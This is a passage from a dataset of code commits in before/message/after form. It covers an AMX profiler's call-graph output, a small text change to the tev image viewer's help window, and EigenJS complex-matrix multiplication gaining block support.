cfg::call_graph_format;\n        std::ofstream call_graph_stream(call_graph_filename.c_str());\n\n        if (call_graph_stream.is_open()) {\n          amx_profiler::CallGraphWriterDot *writer = 0;\n\n          if (cfg::call_graph_format == \"dot\") {\n            writer = new amx_profiler::CallGraphWriterDot;\n          } else {\n            logprintf(\"[profiler] Unrecognized call graph format '%s'\",\n                      cfg::call_graph_format.c_str());\n          }\n\n          if (writer != 0) {\n            logprintf(\"[profiler] Writing call graph to '%s'\",\n                      call_graph_filename.c_str());\n            writer->set_stream(&call_graph_stream);\n            writer->set_script_name(amx_path);\n            writer->set_root_node_name(\"SA-MP Server\");\n            writer->Write(profiler->call_graph());\n            delete writer;\n          }\n\n          call_graph_stream.close();\n        } else {\n          logprintf(\"[profiler]: Error opening file '%s'\",\n                    call_graph_filename.c_str());\n        }\n      }\n    }\n\n    DeleteMapEntry(::profilers, amx);\n    DeleteMapEntry(::debug_infos, amx);\n  }\n  catch (const std::exception &e) {\n    PrintException(e);\n  }\n\n  return AMX_ERR_NONE;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file was developed by Thomas Müller <thomas94@gmx.net>.\n\/\/ It is published under the BSD 3-Clause License within the LICENSE file.\n\n#include <tev\/HelpWindow.h>\n\n#include <nanogui\/button.h>\n#include <nanogui\/icons.h>\n#include <nanogui\/label.h>\n#include <nanogui\/layout.h>\n#include <nanogui\/opengl.h>\n#include <nanogui\/tabwidget.h>\n#include <nanogui\/window.h>\n\nusing namespace nanogui;\nusing namespace std;\n\nTEV_NAMESPACE_BEGIN\n\n#ifdef __APPLE__\nstring HelpWindow::COMMAND = \"Cmd\";\n#else\nstring HelpWindow::COMMAND = \"Ctrl\";\n#endif\n\n#ifdef __APPLE__\nstring HelpWindow::ALT = \"Opt\";\n#else\nstring HelpWindow::ALT = \"Alt\";\n#endif\n\nHelpWindow::HelpWindow(Widget *parent, bool supportsHdr, function<void()> closeCallback)\n    : Window{parent, \"Help\"}, mCloseCallback{closeCallback} {\n\n    auto closeButton = new Button{button_panel(), \"\", FA_TIMES};\n    closeButton->set_callback(mCloseCallback);\n\n    set_layout(new GroupLayout{});\n    set_fixed_width(600);\n\n    TabWidget* tabWidget = new TabWidget{this};\n\n    \/\/ Keybindings tab\n    {\n        Widget* shortcuts = new Widget(tabWidget);\n        shortcuts->set_layout(new GroupLayout{});\n        tabWidget->append_tab(\"Keybindings\", shortcuts);\n\n        auto addRow = [](Widget* current, string keys, string desc) {\n            auto row = new Widget{current};\n            row->set_layout(new BoxLayout{Orientation::Horizontal, Alignment::Fill, 0, 10});\n            auto descWidget = new Label{row, desc, \"sans\"};\n            descWidget->set_fixed_width(250);\n            new Label{row, keys, \"sans-bold\"};\n        };\n\n        new Label{shortcuts, \"Image Loading\", \"sans-bold\", 18};\n        auto imageLoading = new Widget{shortcuts};\n        imageLoading->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(imageLoading, COMMAND + \"+O\",                             \"Open Image\");\n        addRow(imageLoading, COMMAND + \"+S\",                             \"Save View as Image\");\n        addRow(imageLoading, COMMAND + \"+R or F5\",                       \"Reload Image\");\n        addRow(imageLoading, COMMAND + \"+Shift+R or \" + COMMAND + \"+F5\", \"Reload All Images\");\n        addRow(imageLoading, COMMAND + \"+W\",                             \"Close Image\");\n        addRow(imageLoading, COMMAND + \"+Shift+W\",                       \"Close All Images\");\n        addRow(imageLoading, COMMAND + \"+C\",                             \"Copy Image or Path to Clipboard\");\n        addRow(imageLoading, COMMAND + \"+V\",                             \"Paste Image from Clipboard\");\n\n        new Label{shortcuts, \"Image Options\", \"sans-bold\", 18};\n        auto imageSelection = new Widget{shortcuts};\n        imageSelection->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(imageSelection, \"Left Click\",          \"Select Hovered Image\");\n        addRow(imageSelection, \"1…9\",                 \"Select N-th Image\");\n        addRow(imageSelection, \"Down or S \/ Up or W\", \"Select Next \/ Previous Image\");\n\n        addRow(imageSelection, \"Click & Drag (+Shift\/\" + COMMAND + \")\", \"Translate Image\");\n        addRow(imageSelection, \"Plus \/ Minus \/ Scroll (+Shift\/\" + COMMAND + \")\", \"Zoom In \/ Out of Image\");\n\n        addRow(imageSelection, \"F\", \"Fit Image to Screen\");\n        addRow(imageSelection, \"N\", \"Normalize Image to [0, 1]\");\n        addRow(imageSelection, \"R\", \"Reset Image Parameters\");\n        if (supportsHdr) {\n            addRow(imageSelection, \"L\", \"Display the image as if on an LDR screen\");\n        }\n\n        addRow(imageSelection, \"Shift+Right or Shift+D \/ Shift+Left or Shift+A\", \"Select Next \/ Previous Tonemap\");\n\n        addRow(imageSelection, \"E \/ Shift+E\", \"Increase \/ Decrease Exposure by 0.5\");\n        addRow(imageSelection, \"O \/ Shift+O\", \"Increase \/ Decrease Offset by 0.1\");\n\n        addRow(imageSelection, ALT + \" (hold)\", \"Display raw bytes on pixels when zoomed-in\");\n\n        new Label{shortcuts, \"Reference Options\", \"sans-bold\", 18};\n        auto referenceSelection = new Widget{shortcuts};\n        referenceSelection->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(referenceSelection, \"Shift (hold)\",                                \"View currently selected Reference\");\n        addRow(referenceSelection, \"Shift+Left Click or Right Click\",             \"Select Hovered Image as Reference\");\n        addRow(referenceSelection, \"Shift+1…9\",                                   \"Select N-th Image as Reference\");\n        addRow(referenceSelection, \"Shift+Down or Shift+S \/ Shift+Up or Shift+W\", \"Select Next \/ Previous Image as Reference\");\n\n        addRow(referenceSelection, \"Ctrl (hold)\",                                \"View selected Image if Reference is selected\");\n        addRow(referenceSelection, \"Ctrl+Right or Ctrl+D \/ Ctrl+Left or Ctrl+A\", \"Select Next \/ Previous Error Metric\");\n\n        new Label{shortcuts, \"Channel Group Options\", \"sans-bold\", 18};\n        auto groupSelection = new Widget{shortcuts};\n        groupSelection->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(groupSelection, \"Left Click\",             \"Select Hovered Channel Group\");\n        addRow(groupSelection, \"Ctrl+1…9\",               \"Select N-th Channel Group\");\n        addRow(groupSelection, \"Right or D \/ Left or A\", \"Select Next \/ Previous Channel Group\");\n\n        new Label{shortcuts, \"Interface\", \"sans-bold\", 18};\n        auto ui = new Widget{shortcuts};\n        ui->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(ui, ALT + \"+Enter\", \"Maximize\");\n        addRow(ui, COMMAND + \"+B\", \"Toggle GUI\");\n        addRow(ui, \"H\",            \"Show Help (this Window)\");\n        addRow(ui, COMMAND + \"+P\", \"Find Image or Channel Group\");\n        addRow(ui, \"Q or Esc\",     \"Quit\");\n    }\n\n    \/\/ About tab\n    {\n        Widget* about = new Widget(tabWidget);\n        about->set_layout(new GroupLayout{});\n        tabWidget->append_tab(\"About\", about);\n\n        auto addText = [](Widget* current, string text, string font = \"sans\", int fontSize = 18) {\n            auto row = new Widget{current};\n            row->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Middle, 0, 10});\n            new Label{row, text, font, fontSize };\n        };\n\n        auto addLibrary = [](Widget* current, string name, string license, string desc) {\n            auto row = new Widget{current};\n            row->set_layout(new BoxLayout{Orientation::Horizontal, Alignment::Fill, 3, 30});\n            auto leftColumn = new Widget{row};\n            leftColumn->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Maximum});\n            leftColumn->set_fixed_width(135);\n\n            new Label{leftColumn, name, \"sans-bold\", 18};\n            new Label{row, desc, \"sans\", 18};\n        };\n\n        auto addSpacer = [](Widget* current, int space) {\n            auto row = new Widget{current};\n            row->set_height(space);\n        };\n\n        addSpacer(about, 15);\n\n        addText(about, \"tev — The EXR Viewer\", \"sans-bold\", 46);\n        addText(about, \"version \" TEV_VERSION, \"sans\", 26);\n\n        addSpacer(about, 50);\n\n        addText(about, \"tev was developed by Thomas Müller and is released under the BSD 3-Clause License.\");\n        addText(about, \"It was built directly or indirectly upon the following amazing third-party libraries.\");\n\n        addSpacer(about, 30);\n\n        addLibrary(about, \"args\",              \"\", \"Single-Header Argument Parsing Library\");\n        addLibrary(about, \"clip\",              \"\", \"Cross-Platform Clipboard Library\");\n        addLibrary(about, \"filesystem\",        \"\", \"Lightweight Path Manipulation Library\");\n        addLibrary(about, \"Glad\",              \"\", \"Multi-Language GL Loader-Generator\");\n        addLibrary(about, \"GLFW\",              \"\", \"OpenGL Desktop Development Library\");\n        addLibrary(about, \"NanoGUI\",           \"\", \"Small Widget Library for OpenGL\");\n        addLibrary(about, \"NanoVG\",            \"\", \"Small Vector Graphics Library\");\n        addLibrary(about, \"OpenEXR\",           \"\", \"High Dynamic-Range (HDR) Image File Format\");\n        addLibrary(about, \"stb_image(_write)\", \"\", \"Single-Header Library for Loading and Writing Images\");\n        addLibrary(about, \"tinyformat\",        \"\", \"Minimal Type-Safe printf() Replacement\");\n        addLibrary(about, \"tinylogger\",        \"\", \"Minimal Pretty-Logging Library\");\n        addLibrary(about, \"UTF8-CPP\",          \"\", \"Lightweight UTF-8 String Manipulation Library\");\n    }\n\n    tabWidget->set_selected_id(0);\n    tabWidget->set_callback([tabWidget] (int id) mutable {\n        tabWidget->set_selected_id(id);\n    });\n}\n\nbool HelpWindow::keyboard_event(int key, int scancode, int action, int modifiers) {\n    if (Window::keyboard_event(key, scancode, action, modifiers)) {\n        return true;\n    }\n\n    if (key == GLFW_KEY_ESCAPE) {\n        mCloseCallback();\n        return true;\n    }\n\n    return false;\n}\n\nTEV_NAMESPACE_END\n<commit_msg>Nanogui is no longer OGL-exclusive<commit_after>\/\/ This file was developed by Thomas Müller <thomas94@gmx.net>.\n\/\/ It is published under the BSD 3-Clause License within the LICENSE file.\n\n#include <tev\/HelpWindow.h>\n\n#include <nanogui\/button.h>\n#include <nanogui\/icons.h>\n#include <nanogui\/label.h>\n#include <nanogui\/layout.h>\n#include <nanogui\/opengl.h>\n#include <nanogui\/tabwidget.h>\n#include <nanogui\/window.h>\n\nusing namespace nanogui;\nusing namespace std;\n\nTEV_NAMESPACE_BEGIN\n\n#ifdef __APPLE__\nstring HelpWindow::COMMAND = \"Cmd\";\n#else\nstring HelpWindow::COMMAND = \"Ctrl\";\n#endif\n\n#ifdef __APPLE__\nstring HelpWindow::ALT = \"Opt\";\n#else\nstring HelpWindow::ALT = \"Alt\";\n#endif\n\nHelpWindow::HelpWindow(Widget *parent, bool supportsHdr, function<void()> closeCallback)\n    : Window{parent, \"Help\"}, mCloseCallback{closeCallback} {\n\n    auto closeButton = new Button{button_panel(), \"\", FA_TIMES};\n    closeButton->set_callback(mCloseCallback);\n\n    set_layout(new GroupLayout{});\n    set_fixed_width(600);\n\n    TabWidget* tabWidget = new TabWidget{this};\n\n    \/\/ Keybindings tab\n    {\n        Widget* shortcuts = new Widget(tabWidget);\n        shortcuts->set_layout(new GroupLayout{});\n        tabWidget->append_tab(\"Keybindings\", shortcuts);\n\n        auto addRow = [](Widget* current, string keys, string desc) {\n            auto row = new Widget{current};\n            row->set_layout(new BoxLayout{Orientation::Horizontal, Alignment::Fill, 0, 10});\n            auto descWidget = new Label{row, desc, \"sans\"};\n            descWidget->set_fixed_width(250);\n            new Label{row, keys, \"sans-bold\"};\n        };\n\n        new Label{shortcuts, \"Image Loading\", \"sans-bold\", 18};\n        auto imageLoading = new Widget{shortcuts};\n        imageLoading->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(imageLoading, COMMAND + \"+O\",                             \"Open Image\");\n        addRow(imageLoading, COMMAND + \"+S\",                             \"Save View as Image\");\n        addRow(imageLoading, COMMAND + \"+R or F5\",                       \"Reload Image\");\n        addRow(imageLoading, COMMAND + \"+Shift+R or \" + COMMAND + \"+F5\", \"Reload All Images\");\n        addRow(imageLoading, COMMAND + \"+W\",                             \"Close Image\");\n        addRow(imageLoading, COMMAND + \"+Shift+W\",                       \"Close All Images\");\n        addRow(imageLoading, COMMAND + \"+C\",                             \"Copy Image or Path to Clipboard\");\n        addRow(imageLoading, COMMAND + \"+V\",                             \"Paste Image from Clipboard\");\n\n        new Label{shortcuts, \"Image Options\", \"sans-bold\", 18};\n        auto imageSelection = new Widget{shortcuts};\n        imageSelection->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(imageSelection, \"Left Click\",          \"Select Hovered Image\");\n        addRow(imageSelection, \"1…9\",                 \"Select N-th Image\");\n        addRow(imageSelection, \"Down or S \/ Up or W\", \"Select Next \/ Previous Image\");\n\n        addRow(imageSelection, \"Click & Drag (+Shift\/\" + COMMAND + \")\", \"Translate Image\");\n        addRow(imageSelection, \"Plus \/ Minus \/ Scroll (+Shift\/\" + COMMAND + \")\", \"Zoom In \/ Out of Image\");\n\n        addRow(imageSelection, \"F\", \"Fit Image to Screen\");\n        addRow(imageSelection, \"N\", \"Normalize Image to [0, 1]\");\n        addRow(imageSelection, \"R\", \"Reset Image Parameters\");\n        if (supportsHdr) {\n            addRow(imageSelection, \"L\", \"Display the image as if on an LDR screen\");\n        }\n\n        addRow(imageSelection, \"Shift+Right or Shift+D \/ Shift+Left or Shift+A\", \"Select Next \/ Previous Tonemap\");\n\n        addRow(imageSelection, \"E \/ Shift+E\", \"Increase \/ Decrease Exposure by 0.5\");\n        addRow(imageSelection, \"O \/ Shift+O\", \"Increase \/ Decrease Offset by 0.1\");\n\n        addRow(imageSelection, ALT + \" (hold)\", \"Display raw bytes on pixels when zoomed-in\");\n\n        new Label{shortcuts, \"Reference Options\", \"sans-bold\", 18};\n        auto referenceSelection = new Widget{shortcuts};\n        referenceSelection->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(referenceSelection, \"Shift (hold)\",                                \"View currently selected Reference\");\n        addRow(referenceSelection, \"Shift+Left Click or Right Click\",             \"Select Hovered Image as Reference\");\n        addRow(referenceSelection, \"Shift+1…9\",                                   \"Select N-th Image as Reference\");\n        addRow(referenceSelection, \"Shift+Down or Shift+S \/ Shift+Up or Shift+W\", \"Select Next \/ Previous Image as Reference\");\n\n        addRow(referenceSelection, \"Ctrl (hold)\",                                \"View selected Image if Reference is selected\");\n        addRow(referenceSelection, \"Ctrl+Right or Ctrl+D \/ Ctrl+Left or Ctrl+A\", \"Select Next \/ Previous Error Metric\");\n\n        new Label{shortcuts, \"Channel Group Options\", \"sans-bold\", 18};\n        auto groupSelection = new Widget{shortcuts};\n        groupSelection->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(groupSelection, \"Left Click\",             \"Select Hovered Channel Group\");\n        addRow(groupSelection, \"Ctrl+1…9\",               \"Select N-th Channel Group\");\n        addRow(groupSelection, \"Right or D \/ Left or A\", \"Select Next \/ Previous Channel Group\");\n\n        new Label{shortcuts, \"Interface\", \"sans-bold\", 18};\n        auto ui = new Widget{shortcuts};\n        ui->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Fill, 0, 0});\n\n        addRow(ui, ALT + \"+Enter\", \"Maximize\");\n        addRow(ui, COMMAND + \"+B\", \"Toggle GUI\");\n        addRow(ui, \"H\",            \"Show Help (this Window)\");\n        addRow(ui, COMMAND + \"+P\", \"Find Image or Channel Group\");\n        addRow(ui, \"Q or Esc\",     \"Quit\");\n    }\n\n    \/\/ About tab\n    {\n        Widget* about = new Widget(tabWidget);\n        about->set_layout(new GroupLayout{});\n        tabWidget->append_tab(\"About\", about);\n\n        auto addText = [](Widget* current, string text, string font = \"sans\", int fontSize = 18) {\n            auto row = new Widget{current};\n            row->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Middle, 0, 10});\n            new Label{row, text, font, fontSize };\n        };\n\n        auto addLibrary = [](Widget* current, string name, string license, string desc) {\n            auto row = new Widget{current};\n            row->set_layout(new BoxLayout{Orientation::Horizontal, Alignment::Fill, 3, 30});\n            auto leftColumn = new Widget{row};\n            leftColumn->set_layout(new BoxLayout{Orientation::Vertical, Alignment::Maximum});\n            leftColumn->set_fixed_width(135);\n\n            new Label{leftColumn, name, \"sans-bold\", 18};\n            new Label{row, desc, \"sans\", 18};\n        };\n\n        auto addSpacer = [](Widget* current, int space) {\n            auto row = new Widget{current};\n            row->set_height(space);\n        };\n\n        addSpacer(about, 15);\n\n        addText(about, \"tev — The EXR Viewer\", \"sans-bold\", 46);\n        addText(about, \"version \" TEV_VERSION, \"sans\", 26);\n\n        addSpacer(about, 50);\n\n        addText(about, \"tev was developed by Thomas Müller and is released under the BSD 3-Clause License.\");\n        addText(about, \"It was built directly or indirectly upon the following amazing third-party libraries.\");\n\n        addSpacer(about, 30);\n\n        addLibrary(about, \"args\",              \"\", \"Single-Header Argument Parsing Library\");\n        addLibrary(about, \"clip\",              \"\", \"Cross-Platform Clipboard Library\");\n        addLibrary(about, \"filesystem\",        \"\", \"Lightweight Path Manipulation Library\");\n        addLibrary(about, \"Glad\",              \"\", \"Multi-Language GL Loader-Generator\");\n        addLibrary(about, \"GLFW\",              \"\", \"OpenGL Desktop Development Library\");\n        addLibrary(about, \"NanoGUI\",           \"\", \"Small GUI Library\");\n        addLibrary(about, \"NanoVG\",            \"\", \"Small Vector Graphics Library\");\n        addLibrary(about, \"OpenEXR\",           \"\", \"High Dynamic-Range (HDR) Image File Format\");\n        addLibrary(about, \"stb_image(_write)\", \"\", \"Single-Header Library for Loading and Writing Images\");\n        addLibrary(about, \"tinyformat\",        \"\", \"Minimal Type-Safe printf() Replacement\");\n        addLibrary(about, \"tinylogger\",        \"\", \"Minimal Pretty-Logging Library\");\n        addLibrary(about, \"UTF8-CPP\",          \"\", \"Lightweight UTF-8 String Manipulation Library\");\n    }\n\n    tabWidget->set_selected_id(0);\n    tabWidget->set_callback([tabWidget] (int id) mutable {\n        tabWidget->set_selected_id(id);\n    });\n}\n\nbool HelpWindow::keyboard_event(int key, int scancode, int action, int modifiers) {\n    if (Window::keyboard_event(key, scancode, action, modifiers)) {\n        return true;\n    }\n\n    if (key == GLFW_KEY_ESCAPE) {\n        mCloseCallback();\n        return true;\n    }\n\n    return false;\n}\n\nTEV_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ CMatrix\/instance_method_mul.hpp\n\/\/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/\n\/\/ Copyright (c) 2014 Rick Yang (rick68 at gmail dot com)\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla\n\/\/ Public License v. 2.0. If a copy of the MPL was not distributed\n\/\/ with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/\n\n#ifndef EIGENJS_CMATRIX_INSTANCE_METHOD_MUL_HPP\n#define EIGENJS_CMATRIX_INSTANCE_METHOD_MUL_HPP\n\nnamespace EigenJS {\n\nEIGENJS_INSTANCE_METHOD(CMatrix, mul,\n{\n  NanScope();\n\n  if (args.Length() == 1) {\n    const T* const& obj = node::ObjectWrap::Unwrap<T>(args.This());\n    const typename T::value_type& value = **obj;\n    const typename T::value_type::Index& rows = value.rows();\n    const typename T::value_type::Index& cols = value.cols();\n    v8::Local<v8::Value> argv[] = {\n      NanNew<v8::Integer>(rows)\n    , NanNew<v8::Integer>(cols)\n    };\n\n    if (CMatrix::is_cmatrix(args[0])) {\n      const CMatrix* rhs_obj =\n        node::ObjectWrap::Unwrap<CMatrix>(args[0]->ToObject());\n      const typename CMatrix::value_type& rhs_cmatrix = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value * rhs_cmatrix;\n\n      NanReturnValue(instance);\n    } else if (CVector::is_cvector(args[0])) {\n      const CVector* rhs_obj =\n          node::ObjectWrap::Unwrap<CVector>(args[0]->ToObject());\n      const typename CVector::value_type& rhs_cvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value * rhs_cvector;\n\n      NanReturnValue(instance);\n    } else if (CRowVector::is_crowvector(args[0])) {\n      const CRowVector* rhs_obj =\n          node::ObjectWrap::Unwrap<CRowVector>(args[0]->ToObject());\n      const typename CRowVector::value_type& rhs_crowvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value * rhs_crowvector;\n\n      NanReturnValue(instance);\n    } else if (Matrix::is_matrix(args[0])) {\n      const Matrix* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Matrix>(args[0]->ToObject());\n      const typename Matrix::value_type& rhs_matrix = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value *\n          rhs_matrix.template cast<typename Complex::value_type>();\n\n      NanReturnValue(instance);\n    } else if (Vector::is_vector(args[0])) {\n      const Vector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Vector>(args[0]->ToObject());\n      const typename Vector::value_type& rhs_vector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value *\n          rhs_vector.template cast<typename Complex::value_type>();\n\n      NanReturnValue(instance);\n    } else if (RowVector::is_rowvector(args[0])) {\n      const RowVector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<RowVector>(args[0]->ToObject());\n      const typename RowVector::value_type& rhs_rowvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value *\n          rhs_rowvector.template cast<typename Complex::value_type>();\n\n      NanReturnValue(instance);\n    } else if (T::is_scalar(args[0])) {\n      v8::Local<v8::Object> instance = T::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      T* new_obj = node::ObjectWrap::Unwrap<T>(instance);\n      typename T::value_type& new_value = **new_obj;\n\n      new_value = value * args[0]->NumberValue();\n\n      NanReturnValue(instance);\n    } else if (Complex::is_complex(args[0])) {\n      const Complex* const& rhs_obj =\n          node::ObjectWrap::Unwrap<Complex>(args[0]->ToObject());\n      const typename Complex::value_type& rhs_complex = **rhs_obj;\n\n      v8::Local<v8::Object> instance = T::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      T* new_obj = node::ObjectWrap::Unwrap<T>(instance);\n      typename T::value_type& new_value = **new_obj;\n\n      new_value = value * rhs_complex;\n\n      NanReturnValue(instance);\n    }\n  }\n\n  EIGENJS_THROW_ERROR_INVALID_ARGUMENT()\n  NanReturnUndefined();\n})\n\n}  \/\/ namespace EigenJS\n\n#endif  \/\/ EIGENJS_CMATRIX_INSTANCE_METHOD_MUL_HPP\n<commit_msg>src: support MatrixBlock and CMatrixBlock<commit_after>\/\/\n\/\/ CMatrix\/instance_method_mul.hpp\n\/\/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/\n\/\/ Copyright (c) 2014 Rick Yang (rick68 at gmail dot com)\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla\n\/\/ Public License v. 2.0. If a copy of the MPL was not distributed\n\/\/ with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/\n\n#ifndef EIGENJS_CMATRIX_INSTANCE_METHOD_MUL_HPP\n#define EIGENJS_CMATRIX_INSTANCE_METHOD_MUL_HPP\n\nnamespace EigenJS {\n\nEIGENJS_INSTANCE_METHOD(CMatrix, mul,\n{\n  NanScope();\n\n  if (args.Length() == 1) {\n    const T* const& obj = node::ObjectWrap::Unwrap<T>(args.This());\n    const typename T::value_type& value = **obj;\n    const typename T::value_type::Index& rows = value.rows();\n    const typename T::value_type::Index& cols = value.cols();\n    v8::Local<v8::Value> argv[] = {\n      NanNew<v8::Integer>(rows)\n    , NanNew<v8::Integer>(cols)\n    };\n\n    if (CMatrix::is_cmatrix(args[0])) {\n      const CMatrix* rhs_obj =\n        node::ObjectWrap::Unwrap<CMatrix>(args[0]->ToObject());\n      const typename CMatrix::value_type& rhs_cmatrix = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value * rhs_cmatrix;\n\n      NanReturnValue(instance);\n    } else if (CVector::is_cvector(args[0])) {\n      const CVector* rhs_obj =\n          node::ObjectWrap::Unwrap<CVector>(args[0]->ToObject());\n      const typename CVector::value_type& rhs_cvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value * rhs_cvector;\n\n      NanReturnValue(instance);\n    } else if (CRowVector::is_crowvector(args[0])) {\n      const CRowVector* rhs_obj =\n          node::ObjectWrap::Unwrap<CRowVector>(args[0]->ToObject());\n      const typename CRowVector::value_type& rhs_crowvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value * rhs_crowvector;\n\n      NanReturnValue(instance);\n    } else if (CMatrixBlock::is_cmatrixblock(args[0])) {\n      const CMatrixBlock* rhs_obj =\n          node::ObjectWrap::Unwrap<CMatrixBlock>(args[0]->ToObject());\n      const typename CMatrixBlock::value_type& rhs_cmatrixblock = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value;\n      new_cmatrix *= rhs_cmatrixblock;\n\n      NanReturnValue(instance);\n    } else if (Matrix::is_matrix(args[0])) {\n      const Matrix* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Matrix>(args[0]->ToObject());\n      const typename Matrix::value_type& rhs_matrix = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value *\n          rhs_matrix.template cast<typename Complex::value_type>();\n\n      NanReturnValue(instance);\n    } else if (Vector::is_vector(args[0])) {\n      const Vector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<Vector>(args[0]->ToObject());\n      const typename Vector::value_type& rhs_vector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = 